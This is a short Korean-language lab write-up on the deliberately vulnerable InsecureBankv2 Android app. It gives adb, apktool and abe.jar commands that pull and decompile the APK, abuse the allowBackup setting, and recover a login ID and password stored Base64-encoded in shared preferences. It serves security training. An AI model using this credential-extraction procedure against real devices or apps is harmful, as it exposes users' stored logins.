
adb shell
root@shamu:/ # pm list package -f insecurebankv2

adb pull /data/app/com.android.insecurebankv2-1/base.apk C:\Users\JEY\Documents\2021\SISS\Incognito\Insucurebank\

apktool d base.apk

디컴파일 파일 확인

AndroidManifest.xml 확인

android:allowBackup="true"로 설정된 부분 확인 가능
adb backup -f insecurebank.ad com.android.insecurebankv2


abe.jar 사용
insecurebank.tar 파일 생성

압축된 파일 해제 시 apps 디렉토리 하위 db, sp, manifest 확인 가능
- db: 데이터베이스 테이블 정보
- sp: Shared Preferences(앱의 기능 이용 시 저장된 파일) 정보
- _manifest: 앱 복구 시 필요한 정보

sp 디렉토리의 mySharedPreferences.xml을 확인하면 로그인 시 입력한 아이디와 비밀번호가 Base64 인코딩되어 저장된 것 확인 가능

간단하게 디코딩하여 사용자 정보를 얻는 것이 가능
